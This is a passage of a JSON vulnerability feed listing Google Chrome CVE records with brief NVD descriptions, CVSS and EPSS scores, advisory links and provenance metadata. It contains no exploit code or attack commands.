exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113065","cveId":"CVE-2026-113065","aliases":[],"kind":"vulnerability","title":"Use after free in Media in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Media in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Media in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:57.957Z","updatedAt":"2026-10-21T17:10:25.337Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113065","asOf":"2026-10-21T17:10:25.337Z"},"epss":{"probability":0.00417,"percentile":0.35714,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113065&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113065","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113065","type":"primary","publishedAt":"2026-10-20T22:18:57.957Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113065&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113065, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113064","cveId":"CVE-2026-113064","aliases":[],"kind":"vulnerability","title":"Memory corruption in OptimizationGuide in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted...","summary":"Memory corruption in OptimizationGuide in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in OptimizationGuide in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:57.840Z","updatedAt":"2026-10-21T17:10:28.403Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113064","asOf":"2026-10-21T17:10:28.403Z"},"epss":{"probability":0.0037,"percentile":0.3063,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113064&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113064","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113064","type":"primary","publishedAt":"2026-10-20T22:18:57.840Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113064&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113064, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113063","cveId":"CVE-2026-113063","aliases":[],"kind":"vulnerability","title":"Improper input validation in Chromoting in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted...","summary":"Improper input validation in Chromoting in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Improper input validation in Chromoting in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:57.730Z","updatedAt":"2026-10-21T17:10:34.317Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113063","asOf":"2026-10-21T17:10:34.317Z"},"epss":{"probability":0.00426,"percentile":0.36571,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113063&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113063","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113063","type":"primary","publishedAt":"2026-10-20T22:18:57.730Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113063&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113063, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113062","cveId":"CVE-2026-113062","aliases":[],"kind":"vulnerability","title":"Improper input validation in API in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Improper input validation in API in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Improper input validation in API in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:57.613Z","updatedAt":"2026-10-21T17:10:40.437Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113062","asOf":"2026-10-21T17:10:40.437Z"},"epss":{"probability":0.0037,"percentile":0.3063,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113062&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113062","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113062","type":"primary","publishedAt":"2026-10-20T22:18:57.613Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113062&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113062, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113061","cveId":"CVE-2026-113061","aliases":[],"kind":"vulnerability","title":"Memory corruption in Chromoting in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Chromoting in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Memory corruption in Chromoting in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:57.497Z","updatedAt":"2026-10-21T17:10:44.780Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113061","asOf":"2026-10-21T17:10:44.780Z"},"epss":{"probability":0.00426,"percentile":0.36569,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113061&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113061","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113061","type":"primary","publishedAt":"2026-10-20T22:18:57.497Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113061&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113061, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113060","cveId":"CVE-2026-113060","aliases":[],"kind":"vulnerability","title":"Improper input validation in Bluetooth in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted...","summary":"Improper input validation in Bluetooth in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Improper input validation in Bluetooth in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:57.387Z","updatedAt":"2026-10-21T21:06:02.453Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113060","asOf":"2026-10-21T21:06:02.453Z"},"epss":{"probability":0.00406,"percentile":0.34607,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113060&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113060","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113060","type":"primary","publishedAt":"2026-10-20T22:18:57.387Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113060&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113060, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113059","cveId":"CVE-2026-113059","aliases":[],"kind":"vulnerability","title":"Memory corruption in Sensor in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Sensor in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in Sensor in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:57.277Z","updatedAt":"2026-10-21T21:06:50.680Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113059","asOf":"2026-10-21T21:06:50.680Z"},"epss":{"probability":0.00373,"percentile":0.30927,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113059&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113059","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113059","type":"primary","publishedAt":"2026-10-20T22:18:57.277Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113059&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113059, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113058","cveId":"CVE-2026-113058","aliases":[],"kind":"vulnerability","title":"Use after free in WebUI in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in WebUI in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in WebUI in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:57.167Z","updatedAt":"2026-10-21T21:08:22.117Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113058","asOf":"2026-10-21T21:08:22.117Z"},"epss":{"probability":0.00528,"percentile":0.44388,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113058&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113058","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113058","type":"primary","publishedAt":"2026-10-20T22:18:57.167Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113058&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113058, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113057","cveId":"CVE-2026-113057","aliases":[],"kind":"vulnerability","title":"Improper access control in ComputePressure in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to bypass web origin policy via a crafted HTML page.","summary":"Improper access control in ComputePressure in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)","detail":"Improper access control in ComputePressure in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:57.047Z","updatedAt":"2026-10-22T15:39:31.490Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113057","asOf":"2026-10-22T15:39:31.490Z"},"epss":{"probability":0.00334,"percentile":0.26481,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113057&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113057","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113057","type":"primary","publishedAt":"2026-10-20T22:18:57.047Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113057&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113057, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113055","cveId":"CVE-2026-113055","aliases":[],"kind":"vulnerability","title":"Type confusion in FullScreen in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Type confusion in FullScreen in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Type confusion in FullScreen in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:56.803Z","updatedAt":"2026-10-21T19:29:45.420Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","Android","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113055","asOf":"2026-10-21T19:29:45.420Z"},"epss":{"probability":0.00483,"percentile":0.41354,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113055&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113055","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113055","type":"primary","publishedAt":"2026-10-20T22:18:56.803Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113055&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113055, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113053","cveId":"CVE-2026-113053","aliases":[],"kind":"vulnerability","title":"Use after free in Cookies in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Cookies in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Use after free in Cookies in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:56.580Z","updatedAt":"2026-10-21T19:29:19.520Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","Android","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113053","asOf":"2026-10-21T19:29:19.520Z"},"epss":{"probability":0.00443,"percentile":0.38243,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113053&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113053","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113053","type":"primary","publishedAt":"2026-10-20T22:18:56.580Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), 